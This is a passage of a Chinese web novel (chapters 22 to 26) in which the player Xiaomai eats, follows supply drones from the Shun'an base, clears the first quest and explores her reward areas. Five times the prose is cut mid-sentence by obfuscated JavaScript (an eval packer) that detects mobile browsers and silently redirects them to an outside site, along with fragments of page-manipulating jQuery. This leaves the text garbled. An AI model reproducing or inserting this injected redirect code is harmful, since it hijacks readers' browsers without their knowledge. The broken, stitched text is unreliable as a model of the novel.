一个完整的面球落入口中,原来鸭子的脑袋和身体是相互独立的。 面团入口又酥又脆,纯粹的麦粉,表层的金黄大概是刷了一层蛋黄液。 充作眼睛的两粒黑芝麻的存在感并不强,但依旧吃了满口芝麻香,因为薄薄的面团裹满馅料,馅料里,碾碎的炒芝麻、压实的糯米、干柴细丝层层交叠。 小小点心,花费的心思不少啊,三种馅料竟然做出了千层蛋糕的效果! 芝麻香得霸道,压实糯米别样黏糯,细丝好像是某种肉丝。因为芝麻的存在感太强,小麦完全没有尝出里面是是什么肉,只能从点心名字猜测里面是撕碎的鸭瘦肉。 好吃!就是份量还不够塞牙缝!一口三个不成问题! 吃完鸭头,她又一口将胖嘟嘟的鸭身吞掉。 牙齿破开烤的脆硬的面皮,又肥又嫩的烤鸭肉混着鲜甜酱料滚出,在嘴里爆汁。 原来鸭肚子里真的填了一大块烤鸭肉!也不知道比开口小了很多地方鸭肉是怎么塞进去的!面团的开口那么小,大概是面团裹着鸭肉一起烤的? 22.第 22 章 鸭身的面团的口感,和鸭头完全不一样,面皮虽然薄,但口感更硬实,像是烤过的无油锅饼。 馅料又油又润,尤其是鸭肉有一层厚厚的油脂,肉块底部还满是酱料,馅料里没有葱丝,但甜酱里有很明显的葱香,浓油赤酱的汁水和热度,被面团和鸭皮完全封住,一咬一爆浆,而脆鸭皮上沙沙的白糖粒又是点睛之笔。 小麦闭上眼睛回味,因为鸭肉肥美,口腹之欲得到了满足,又因为份量太少,肚子里的馋虫被勾得躁动,一口下去再也没有,便越发渴望再来一份,份量小的食物果然格外会勾钓人的食欲。 小麦回味半晌,待唇齿间的油香散尽,她才又买了一盒紫菜包饭、一串面筋、一瓶矿泉水解决晚饭。 紫菜和米饭卷成卷切片,整齐装在一个扁平长塑料盒里,一盒有六个,每个有鸭蛋大小,一盒的份量约等于一碗米饭。 与米饭不同,紫菜包饭自带调味,饭卷里裹了黄瓜条、鸡蛋丝、火腿条、咸菜碎,味道不咸不淡,看包装,就是最普通的便利店产品,但没有配备甜醋和芥末酱。 因为包饭入手时是凉的,又没有微波炉可以加热,所以吃起来差了一点风味,米粒的感觉偏硬,单纯只能填饱肚子。 好在香辣面筋非常够味! 木签上螺旋面筋比成年人的手掌还长,比火腿肠还粗,上面刷满酱红色辣酱,一看就非常开胃。 一口米饭一口面筋,紫菜包饭缓解了烤面筋的辣度,面筋让米饭的味道升华。 两样食物吃干净,又拿矿泉水冲一冲,又是美味满足的一餐。 虽然还在冰山帐篷,吃饭还是热出一层薄汗,好在没有黏腻的不适感。 吃完饭,帐篷里的冰山还有小半没有融化。 小麦步出帐篷查探,考虑要不要在这里多呆一会儿,出来就和帐篷外的无人机来了个正面对视。 小麦本能一慌,猛得放下门帘,又立马冷静下来。 她还站在原地没有重开,没有回到复活点,就说明游戏的存在还没有暴露,接下来还能玩。 只要无人机看不到帐篷内部,看不到不科学的大冰山,幸存者在外面搭个帐篷也没有什么大事,她完全可以继续任务! 想明白后,小麦抬头看着低空盘旋的无人机,暗自猜测它在这里呆了多久。 她饭前出来晾晒衣服的时候,并没有发现无人机的存在,所以无人机大概率是在她吃晚饭的时候靠近的。 这个无人机只有成年人巴掌大小,没有特殊标志,能配备的电池容量有限,应当飞不了太长时间,小麦完全可以耗到它电量清空,再做下一步打算。 小麦猜测,这个无人机应当来自附近的某个基地。因为天灾已经发生了好几天,普通民众很难给无人机续航充电,只有基地才有恢复电力供给的可能性。 就在小麦与无人机大眼瞪小眼的时候,有一辆比较大的无人机从远处高速飞来,脸盆大小的无人机上面还吊着一个鼓鼓囊囊的黑色双肩包。 大型无人机明显冲着小麦来的,它锁定目标般停在小麦面前,鼓鼓的背包投掷在小麦面前,背包落地溅起短暂的尘土飞扬。 小麦没有防备,被呛得咳嗦两声,然后正经对着两架无人机的镜头道谢。 甭管小麦需不需要,无人机明显是给幸存者送物资来的,还没有提任何回报要求,那就值得郑重的感谢! 无人机左右摇摆,好似在说不用谢,大型无人机升空离开,小型无人机却停在了帐篷顶。 小麦不知道小型无人机会不会一路跟着她,但她孤身停在没有物资的高速公路,明显需要前往一个宜居地,如果无人机一直跟着她,她就得接下来几天要吃苦的准备。 因为这个无人机明显会召唤无人机,那等它电量耗尽离开的可能性就不大了。 就算她能躲在车厢里吃商城的食物,也不能再表现得像是在郊游了! 或者使用银钱选择一个时间节点重生,从而避开无人机,也是一个方向? 然而小麦并不看好这条路。 从两架无人机的表现来看,基地有可能很重视幸存者,就算小麦更改休息地点,也有很大概率再次遇到这种会停在她身边的无人机。 现在才18:27,太阳还没有完全落山,要赶路,至少要再过一个小时才比较凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354985|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,小麦抱着新的的背包回了帐篷。 知道上方有无人机在,小麦就心有惴惴,还是在帐篷里隔绝视线更安心。 打开背包,最上面是个显眼的宣传单,正是小麦想去的顺安基地的宣传单。 倒是巧呢。 再看背包里面,有一个红色拉链收纳的小型医疗包,里面有一包创可贴、一瓶碘伏消毒液、一包医用棉签、一卷绷带、一板退烧药,还有写了便签,用来治拉肚子的藿香正气水和附子理中丸。 这个医疗包明显考虑到了天灾和燥热的天气。 除了医疗包,背包来还有一条珊瑚绒单人毯、一包抽纸、三瓶矿泉水、一袋火腿肠、三颗卤蛋、三包自热米饭、两个苹果、一包水果硬糖。 从份量上,背包里的食物足够一个成年人一天的消耗,要是省一点,可以吃两、三天,极限状况下也能支撑一周时间。 理想情况下,如果不去寻宝,一周时间足够小麦走到顺安基地了。 如果无人机一直跟在她身边,寻宝的诡异行为很可能导致重开,小麦虽然很想收集九颗结算星辰,但也没有一定要达成目的的强迫症。 人生嘛,还是要不停调整目标的。两颗结算星辰也很满足啦! 既然可能无法继续寻宝,小麦想趁着还在帐篷里,试一试手头的人契。说不定能收获破局新思路呢? 如果人契的使用会导致她暴露,那就使用银钱重开,回到使用人契前的时间点。感谢帐篷给了她一个适合试验的空间。 小麦摸索着自家背包的底部夹层,从空间取出一枚人契木牌,就这么在背包中使用。 【人契使用失败。】 【通关试玩资料片后可使用人契。】 【请小麦主人努力游戏,通关试玩资料片。】 好吧,看来这个功能只能在游戏的正式版本使用。 使用空间并没有导致重开,小麦将木牌收回背包,假装从背包,实则从空间里取出一瓶水和两个罐头。 新背包里的珊瑚绒毯比较占空间,再压一压,完全装得下两个罐头,矿泉水装在一侧网袋,另一侧网袋装卷起来的空背包。 23.第 23 章 天彻底黑下来,小麦才开始出行的准备。 帐篷里的冰山还剩不少,入夜后也在缓慢融化,小麦试着让小精灵回收剩余冰山,这个指令也触发成功,她没有触发死局重开,泳池里的冰水也顺利回收。 反正天都黑了,帐篷里凉快一点也不奇怪,等到明天,一个孤零零的帐篷并不会让人怀疑。 新得的鼓鼓的背包有点沉,好在小麦吃得好,睡得也好,这点重量还能接受。 随着小麦启程,帐篷顶端的无人机也飞起跟随,还贴心在前路打起探灯,为小麦照亮前进的道路。 这个无人机智能的有点过分了,不会可以远程操控吧? 小麦暗自嘀咕,但还是从心的跟着无人机的灯光走,有照明的道路走起来更顺畅,况且无人机并非直线向前,还会帮人规模行进路线。 在无人机的灯光又一次精准绕过一个裂开的缝隙后,小麦越发怀疑无人机背后有人工干预。 不过不得不承认,有无人机引路,虽然有时要绕一点,但走起来更顺畅更安全了,不必因为突发情况被迫临时改变路线,反倒比单纯往前莽更有效率。 小麦一口气走了一个小时都不费劲,不过为了接下来能有体力持续向前,她还是在走满一个小时后停下来休息。 见小麦原地坐下休息,无人机也熄灭灯光,停在地上待机,看样子打算一直跟着小麦。 熟练按摩双腿,又缓缓喝了半瓶水,小麦吃了一根火腿肠补充体力,休息了大概半个小时,继续向前。 就这样走走停停,从19:30走到了03:11,小麦实在走不动了,熟练找了个卡车的驾驶室,躺倒休息。 无人机在车窗前徘徊两圈,小麦闭着眼放松呼吸,假装自己倒下秒睡。 无人机飞行的动静越来越远,半小时后,小麦睁开眼睛下车检查,附近果然没有无人机的踪迹。 虽然很想趁机寻个宝,但双腿告诉她,真的走不动了! 罢了,说不定无人机还会回来,还是安心睡觉吧,没有游戏商城的高科技纳凉手段,她白天不用奢望高质量的睡眠,趁现在能入睡就要好好睡。 从心的回驾驶室躺下,可能因为一直运动过于疲惫,小麦还真就迷迷糊糊睡着了。 再次醒来是第二天九点多,小麦是被热醒的,一身汗黏糊糊,打湿了垫着的珊瑚绒毯,背部与毯子接触的地方热的像个火炉。 小麦走出驾驶室,看到了停在车顶待机的无人机。 小无人机不会是回基地充电去了吧? 驾驶室的玻璃窗很大,虽然无人人机停在车顶,小麦也没有避开无人机视野的把握,早饭便选择背包里的食物。 自热米饭是棕色塑料袋包装,撕开后可以看到单独的米饭包、专门的迷你加热材料包、用于加热的一小袋清水、速溶饮料粉包、一小包榨菜、一个塑料勺、一张纸巾。 饮料和榨菜不需要加热,小麦把米饭和加热包装进最大的包装袋,撕开清水,注水到水位线,然后折叠封口放在路边。 几分钟后,加热袋整个鼓起来,明显是加热包里的材料在起作用。 众所周知,这种自热米饭别名自热粽子,需要多热一会儿才能热透。 半个小时后,米饭热好,但还烫手,不方便拿着吃,小麦准备等放凉再吃,无聊中看到一架无人机从前方飞来。 一个中型超市塑料袋扔在小麦身旁,无人机没有停留,直接飞走了。 无人机飞行来去的目标明确,不会又是顺安基地送来的物资吧? 小麦解开塑料袋,袋子最上面有三个绿色手持小风扇,看质量应当是现世购物平台那种不超过10现世币的畅销品,机身连电量显示都没有,每个小风扇的风力都很强劲,应当是满电。 风扇下面有三瓶600毫升的冰红茶,还有一个尚温热的塑料盒饭,盒饭里铺了脆嫩的生菜,绿叶上窝着一只大鸡腿。 可能是无人机看到了她加热米饭,饭盒里只有菜没有主食。 就算是有游戏商城,小麦也不禁感动。这可是刚出锅的绿叶菜和鸡腿唉!这可是天灾后唉!有几个幸运者能拒绝顺安基地这样贴心的投喂!? 反正小麦不行!就算无人机一直跟着她让人没法恣意使用商城,这样的投喂在天灾后也格外暖心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359808|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然去顺安基地的路上会路过另外一个临时安置基地,但小麦已经下定决心要到顺安基地去。 即使她抵达顺安基地的时候,任务话本就会结束,可理论上,假设这个故事可以在她关注不到的地方继续,游戏一定会另外补偿给基地一个投奔人口。 小麦一直坚信,看小说也好,玩游戏也好,每个故事都是一个独立的小世界。 即使她短暂接触后不再关注,纸片人们也会在各自的世界继续正常的生活,虚拟的人生同样是人生,所以她也享受如今的人生,也愿意多努力一把,给投喂她的基地争取一个人口。 她都这么努力了,享受点投喂也心安理得。 塑料饭盒里的鸡腿看起来很香,鸡腿可能是大锅卤制的,红亮的卤汁很香很勾人。 啊呜咬上一口,鸡皮软糯入味,鸡肉滑嫩多汁,垫在下面的生菜仅仅炒到断生,吃起来清爽脆嫩,适合燥热的夏天,美中不足就是生菜能吃出苦味。 不过,这也不奇怪,现如今,白天的气温维持在三十多度,这种温度里长成的生菜本来就有很大概率发苦。只要吃不死人,日常有一口绿叶青菜还是挺健康的。 因为有药物储备,小麦吃得放心又大胆。 家常绿叶菜,搭配鲜卤鸡腿,一整盒都是意外加餐,主食依旧是自热米饭。 米饭已经放到室温,小麦打开加热包,取出米饭,用纸巾擦干净米饭袋。加热材料随手扔到路边的石头堆。 热好的米饭果然如粽子般黏乎,米饭里倒进榨菜和炒生菜,用勺子打散拌匀,有了丰富的调味,生菜的苦也没有那么明显了。 挖一勺混着炒菜的米饭,再来一口香喷喷的鸡腿,用常温的冰红茶送服,小日子过得也挺美滋滋。 食水清空,小麦满足打了个饱嗝。 吃太饱,坐不住,接下来还是活动一下吧! 晒在卡车上的珊瑚绒毯已然晾干,小麦把喝空的饮料瓶停留在驾驶室,珊瑚绒毯压缩进背包,难得努力的准备继续赶路。 无人机依旧在前方引路。走了大概有一个小时,无人机试图把小麦往高速路下领。 24.第 24 章 说起来,她好像看到前方有建筑工程的样子? 小麦努力回忆了一下,想起看过的宣传单上有这样的讯息?好像叫黑金基地?貌似是距离她出发的村落最近的基地。 她既然已经下定决心去顺安基地,自然不想节外生枝,也愿意配合无人机绕远路。 主要是,小麦不打算用黑金基地完成任务。 从各家基地给出的地图汇总来看,黑金基地的原址,大概率是个高速服务站,还是个仅服务于旅游大巴的小型服务站。 从原本的宣传图册来看,这个服务站仅有一个售卖特产的平层超市,甚至没有供司机休息的宾馆,基础设施有限,周边虽然有大片农田,但缺少像样的加工设备,发现潜力有限。 顺安基地不同。 根据乡村原有旅游宣传手册的介绍,顺安基地所在地是顺安县城的郊外,这是距离旅游乡村最近的一个县城,通往乡村的旅游大巴都从那里发车,至少称得上是个交通枢纽。 交通枢纽往往是物资的集散地,只要有几个大型仓库,就什么都有了…… 顺安只能算是十八线的小县城,小县城的高层建筑本就不多,或许能有很多幸存人口。 基础的人口和物资有了,原址的底店铺和仓库挖一挖,就够幸存者享用几十年。 且高速路两侧有广阔的农田,只要农用机械跟得上,田地就能很快利用起来。 再加上有很多小型工厂,通常会选址在城镇的郊区,因为房租会比较便宜,若是小作坊和工厂能幸存下来,生产力就无敌了。 机械的留存还有利于城市基建,幸存者可以从远郊反方向向原本的城镇梳理重建,能更快恢复原有的基础设施。 不管怎么想,前景都很美好? 有无人机引路,小麦轻松从黑金基地的另一侧绕道离开,走到十一点,温度飙到37℃,继续赶路容易中暑,便找了个大树的树荫休息。 半个小时后,小麦再一次收获无人机空投的物资。 这次是个轻便的双人帐篷,物资里还夹带有一张手写的小纸条,基地方便表,示支起来的帐篷可以留在原地,以方便其它幸存者。 小麦把帐篷支在树荫里。反正不下雨,不用担心打雷,还是大树的荫凉里最舒服。 躺在帐篷里,打开小风扇,风是热的,午间的燥意依旧。 小麦睡不着,但也不愿意动弹,躺热了便自助翻个面,敞开的帐篷不时有风吹过,风停时依旧大汗淋漓。 她热得完全没有胃口吃主食,午饭仅吃了两块水果硬糖。气温太高,糖块的表层都融化了,小塑料袋里流了一层糖浆,幸好糖果都是单粒包装,要不然该融成一大坨了。 小麦没有别的的娱乐,只能试探关键词来消磨时间,待试玩的劲头下去,也就只能盯着游戏商城发呆。 游戏商城在夜里零点自动刷新,刷新出来的依旧只有铜钱商品。 现在的商城有:一根草莓味棒棒糖,售价15铜钱;一粒球形巧克力,售价69铜钱;一瓶可乐,售价15铜钱;一瓶矿泉水,售价15铜钱;一粒肉松饭团,售价55铜钱;一个白菜素馅蒸包,售价10铜钱;一个白菜肉馅蒸包,售价15铜钱;一个香辣鸡腿汉堡,售价220铜钱,一杯冰可乐,售价70铜钱。 彩色糖纸包装的巧克力,看起来很好吃的样子。闷热的天气让小麦胃口全无,只能依赖糖果和小甜水补充体力。 许多未尝过的巧克力格外勾人,甚至让人想冒险一试。 帐篷为了通风大大方方敞开,无人机停在树荫处,小麦躺着就能看到它。 好想吃巧克力…… 考虑到帐篷内部有好多视野死角,小麦假借查看帐篷顶部,飞快拆下糖纸,把整颗巧克力球一口吞下。 巧克力球内有乾坤,外壳脆硬有咀嚼感,遇热飞速融化,内里填充的巧克力酱更是丝滑绵密,香而不腻,可可脂的香气醇厚。 偷吃完巧克力,再拿味重的冰红茶冲干净味道,继续翻来覆去。 下午16:31,虽然依旧汗流浃背,但阳光已经没有那么毒辣。 左右都是出汗,小麦决定继续赶路。 无人机依旧在前面引路,在小麦的坚持下,一人一机又回到高速公路上。 没有机会单独行动,小麦放弃了寻宝,打算尽快通关。 她现在有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370121|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两颗结算星辰,已经有机会了解这方面的奖励,若是奖励方向不合她胃口,以后还能省去一项无用功。 过了黑金基地,距离顺安基地便不足四十公里了,努努力,两天时间就能通关。 她依旧坚持半个小时一歇的节奏,休息的时候把两个苹果吃了,之后或是来根火腿肠,或是吃一颗卤蛋。 卤蛋都是单独封装的剥皮鸡蛋,撕开时有卤汁迸溅出来,感觉保质期不会很长的样子。 卤蛋虽然入味,但蛋黄有点噎,要不是手头没有多少方便食用的物资,她还真不想吃这东西。 一路走,一路吃,小麦走到晚上十点半就走不动了。 照旧找一个卡车的驾驶室休息,或许因为是在夜里,卡车不会被晒得滚烫,无人机便没有再送帐篷。 按摩完酸软的双腿,小麦再次收到无人机的投喂,有三瓶冰红茶、三瓶纯净水、三个新的小风扇。 小麦把耗空电量的三个小风扇装进塑料袋,放在车子外面,期待有无人机将它们带走。 因为出汗量太大,她身上的水资源耗空,还好投喂的物资来的即时。 这次,塑料袋里有一张手写信,基地以官方口味鼓励了幸存者,再一次承诺定居的种种福利,最后还绘制了加油鼓气的颜文字。 按照附近地貌推算,她只要再走六个小时就能抵达顺安基地。 小麦还想趁着夜里凉快再努力一把,奈何双腿沉重的像灌了铅,只能安分休息。 驾驶室的门敞开,小风扇吹起来,也勉强能够入睡,小麦翻来覆去凑活一夜,凌晨醒来时又累又热。 可三个新来的风扇都已经耗空电量,她实在睡不着了。 罢了,再坚持几个小时,她就能回玩家初始地,回去好歹能用矿泉水痛快洗个澡。 怀揣这样美好的期待,小麦连早饭都没吃,继续赶路。 车外的塑料袋没有被回收,小麦便把六个手持风扇都背上了,好歹也是件实用电器嘛。 正午12:54,小麦远远看见正在建设楼房的吊车。 不用走到基地内部,在小麦选择提交任务的那一刻,美妙的通关副本的声音响彻脑海。 25.第 25 章 通关之后,小麦就回到了游戏初始地,那个狭小且采光不好的小石屋 立柱上的书页有了变化,[话本一已通过]的流光闪过,书页缓缓绘制出灾后的旅游村的远景,话本一的书页无风自动翻过,翻到了话本二。 小麦试着伸手翻页,话本一依旧可以进入,不过没有通关主线的奖励,只能获得游戏过程中的物资折算奖励。 没有丰厚奖励的副本让人干劲全无。 小麦放下手,发现自己的穿着打扮恢复为进入话本前的样子,皮肤也非常清爽,不复话本里汗湿又风干的狼狈。 这样的感觉好极了。 但如果有条件,小麦还是想痛痛快快洗个澡,仿佛只有那样,才可以把心中的尘埃一起洗掉。 原地站了一分钟,游戏小精灵的通报才迟迟响起。 【恭喜主人通关游戏试玩资料片。游戏正式版本载入中。】 【玩家初始地正在打通对外通道。】 【山崖石窟对外通道匹配中。】 【山崖石窟对外通道成功载入。】 【恭喜主人获得穿梭电梯。】 【此次通关话本所有奖励,已投放至奖励投放仓,主人可搭乘电梯前往查阅。】 【仓库载入成功,请主人自行解锁。仓库更多资讯,请前往仓库了解。】 【领地*后花园载入成功,主人可搭载电梯前往。】 【通关话本一,免费扩展后花园九宫格*1,后花园更多资讯,请前往后花园。】 【领地*食邑载入成功,主人可搭乘电梯前往。】 【通关话本一,奖励食邑[流亡村],主人可搭载电梯前往建设。】 毫无疑问,山崖石窟搭载的对外通道就是电梯了。 小麦不太明白,为什么领个奖励还要去奖励投放仓,待小精灵解释一大通,才大致明白。 奖励投放仓就像一个特殊的折叠空间,开出的奖励可以精准投递往玩家的领地或房间,不必玩家额外花费力气,相当于一个中转的物资分配点。 这样倒也合理,若是自己在卧室拆出个摩天轮,说不准是卧室被撑坏,还是摩天轮当场解体。 新载入的电梯就在楼梯间里,说是电梯,并不需要玩家额外提供能源的样子,离开客厅就能搭乘电梯。 电梯是个四方盒子,里面的空间比较小,四面皆不透明,是干净利落的银灰色镜面金属,仅能容四个成年人并立,入口门对面的墙上嵌着一排高塔一样齐整的圆形凸按钮。 玩家初始地在电梯的1层,奖励投放仓在0层,仓库在2层,后花园在3层,流亡村在-1层,这几层的按钮都显示为绿色,其它的-2到-18层都灰着,按钮也没有文字,仅有空铭牌。 小麦最想干的事就是去奖励投放仓拆奖励,可考虑到,拆解时需要她投放匹配物资给不同空间,还是要先了解下投放地点的情况。 想着小精灵说仓库需要额外解锁,她先按了仓库的按钮。 电梯的门合拢又打开,也不过几秒时间,小麦完全没有感受到电梯在动,就来到了仓库层。 电梯外是一个竖着指示屏的地形图,显示仓房有9×9共计81间同等规模的仓房。 每间仓房有3米×3米×3米大小,可单独设定储存条件,并不能永久保鲜,每开启一间自然条件仓房需要10宝钱,如需要另外设定环境条件,比如温度、湿度等,不管设定多少指标,都只需要另外追加10宝钱。 小麦是个寡王,她并不觉得自己需要额外的仓房。这个功能大概是给种田和挖矿路线的玩家使用的,尤其种田玩家需要储藏农产品。 感觉这笔钱完全可以省下了,这个楼层也可以忽略的样子。 离开仓房,小麦往上去了后花园。 电梯门打开,混着青草味儿的风扑面而来,看见外面景色的一瞬间,小麦就能确定,这并不是卧室上方的悬崖,因为后花园貌似建在树林里。 后花园只解锁了三行三列九个格子,标准的九宫格,每个格子都是一平方米大的空土地,边缘处有明显分割线。 如果以平面图的角度来看,九宫格从左到右、从上到下可以暂定为1到9号格子。 1到3号格子的正北面,是一个联通天际的金属网,网外是茂密的阔叶热带雨林。 1号和7号格子的正西面也是同款金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374862|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属网,4号格子的正西面立着一个比成年人高的石头,石头的一面光滑如镜,正是电梯的出口。 九宫格的东面和南面被白雾笼罩,小麦试着伸手去探,手被温柔推回,同时收到小精灵提示,解锁下一个九宫格需要交付10张地契。 能花道具解锁就是个好消息,至少不是强制通关话本才解锁。 小麦试着在后花园使用寻宝罗盘和地契,没有任何反应。看来游戏初始地、后花园都不提供这类服务,地契在此处也只作用于扩张。 只是走了一圈,鞋子便沾满泥土,小麦皱眉退回4号格子,试着使用一张物契。 物契木牌消失,一幅仿若银河般浩淼的光之画卷浮现在小麦眼前。 画卷上绘制了各种各样的景观,有不同材质的路、有草丛、有花丛、有假山、有盆景、雕塑等等,每个景观仅占据1平方米格子。 小麦现在手里正好有三张物契,她在1号格子放了一个柿子盆景,在4号格子放了一块水泥路地板,在7号格子放了一个开蓝色小花的草坪。 柿子盆景很大,堪堪占满一个完整格子,从画面上看起来像花盆的盆栽,落地后更像一个小型缸养的小树。 红彤彤的小柿子能称之为圣女果,看起来又甜又好吃的样子。 想要采摘的手指与小果实光影交错。 看起来栩栩如生的红果仅能观赏,无法摘取,开着小花的草坪也是,摸上去真的有草坪的触感,但无法摘花,也不能薅草。 小麦确定了,物契购买的建筑仅能欣赏,不能提供额外物资。 倒也没有多失望,小麦毕竟刷出来过可以摘苹果吃的苹果树,明白宝钱商城才是逼氪点所在,都是常见的游戏套路,没有什么好意外的。 手中的物契耗空,小麦在水泥地板边缘磕打干净自己的鞋,回到电梯,这次选择了-1的按钮,去往每一层都仅需要花费几秒时间。 电梯门打开,好似是隐藏在一个废弃电话亭里。 流亡村的布景好似借鉴了小麦刚刚通关过的话本。 流亡村不存在地动,但到处都是地动过的痕迹,目之所及都是龟裂的土地和坍塌的砖瓦房。 26.第 26 章 小麦从小精灵处得知,流亡村占地三万亩,村内有山丘,村子刚刚经历过天灾洗礼,短期内不会再出现天灾,目前村内无活物。 此地最多可容纳100户村民,最多可开垦一万亩农田,村民需要由玩家自行招募,基建需要玩家“氪金”,可种植的成熟土地也需要借助地契才能一秒入手。 没有地契,即使招募到村民,村民也无法处理灾后的废墟。 不管是人口还是田地,都可以由玩家“氪金”完成原始积累,村庄是玩家的食邑,开荒完成后,也会向玩家提供税收和物产。 当然,如果领地建设的足够好,即使玩家不“氪金”购买居民,也有可能凭借村子的本身优势吸引到定居者。 这一点有点像流亡话本的基地。 只要村子的居住者满一百户,玩家就能氪金再扩展一个新村落,简称无限繁殖…… 感觉是一种积少成多的财富积累途径呢。领地越多,物资的产出就越恐怖。 玩家还可以花钱购买村民产出的物资,源自食邑的物产无时限制约,能带入话本使用。 话说,如果她收取实物税,2层的库房依然有机会利用起来呢。 三万亩都是灾后的荒地,也没有什么可看的,小麦在话本一已经看的够多了。 她回到电梯,去了奖励投放仓。 这个仓房和小麦想象中的不同,走出电梯后是漫无边际的黑暗,仅仅在电梯门口,摆着三个半人高的流光溢彩的彩金宝箱。 小麦凑近了,发现箱子的半拱形盖子上还有刻字,分别写着【通关试玩资料片主线宝箱】、【通关话本一宝箱】、【话本一宝箱】。 从名字推测,前两个宝箱都仅能获得一次,第三个宝箱可以反复刷取。 小麦的手搭上第三个宝箱,小精灵提示,小麦需要把所有限定话本一使用的道具投入,才能打开这个箱子。 小麦这才想起来,虽然背包里的物资,在提交通关的那一刻就上缴了,但随身洞府里还有几样东西。 小麦试着取出空间里的绿皮水壶,水壶果然无法在话本一外的世界使用,她取出来的只有一团虚影。 既然如此,那的确没有留存的必要了。 结算星辰等虚影物资一股脑砸在宝箱上,化作光点汇入流光。 箱盖打开,小精灵开始播报。 【话本一结算通关上缴物资清单。】 【压缩饼干*2,绿皮水壶*1,肉罐头*2,水果罐头*2,瓶装可乐*6,袋装膨化食品*5,珊瑚绒毯*1,抽纸*1,火腿肠*3,袋装自然米饭*2,粒装水果硬糖*17,手持迷你风扇*6,实物铜钱*1400,实物银钱*200,结算星辰*2。】 【货物依照市价折算为2830铜钱,实物货币结算为实物铜钱*14,实物银钱*2,结算星辰结算为流光大转盘*2。】 这些奖励里,只有实物钱币需要接收,这点东西也不用转移,直接在奖励投放仓就能收取。 小麦获得了两串红绳钱币,一串有14铜钱,另一串只有可怜的两枚银币,依旧是话本里的圆形方孔钱,入手轻飘飘的,一枚也不知道有没有一克沉。 想到这是难得的实物货币,小麦又觉得数量少可以被原谅了,至少银币融了真的是纯银不是? 奖励里的流光大转盘直接具现在房间里,比成年人还大的圆形水晶大转盘立在房间,转盘分割成无数细小格子,每个小格子里都有一个图形缩影,明显是可抽取的物品。 转盘的中心点,跳跃着两个拖拽着碎星尾巴的金色胖星星。 想来,等大圆盘转动起来,星星停在哪个位置,小麦就能得到什么奖励。 金色转盘固定在奖励投放仓,转盘里有非常大的家具,小麦担心领地里放不开,准备缓缓再抽奖。 她打开第二个宝箱。 【获得地契*10,物契*10,人契*10,流亡自助售卖机*1,宝钱*10。】 这个宝箱是首通副本专属奖励,这意味着,小麦以后每通关一个话本,都能获得契约*10,宝钱*10,副本相关家具*1。 小麦看了看流亡自助售卖机的介绍。 售卖机只贩卖矿泉水、压缩饼干两种商品,前者20铜钱,后者50铜钱,每人每日限购一件,购买人数无限制。 限购对于寡王很不友好啊。 这件家具占据一格子的位置,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381174|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以放置于后花园,也能放置于食邑。 小麦稍作思考,便决定把自助售卖机投放到流亡村。 这有利于她招募人口。 而且村落建成初期没有物资产出,村民可以靠自行购买食物度过开荒期,小麦只要借款给村民开荒就好了,到时候还能用村民产出的物资抵欠款和税收。 心念一动,自助售卖机飞出投放仓,一段即时影像在原地铺开,小麦用意念控制着自助售卖机,安置在电梯不远处,这样也方便小麦本人使用。 宝钱自动入账,契约收进空间, 还剩最后一个宝箱。 【恭喜主人完成主线任务一,获得自来水龙头*1,床品套装*1,牙刷*1,牙膏*1,杯子*1,毛巾*1,抽纸*1,宝钱*10,寻宝罗盘*3,随行位*3。】 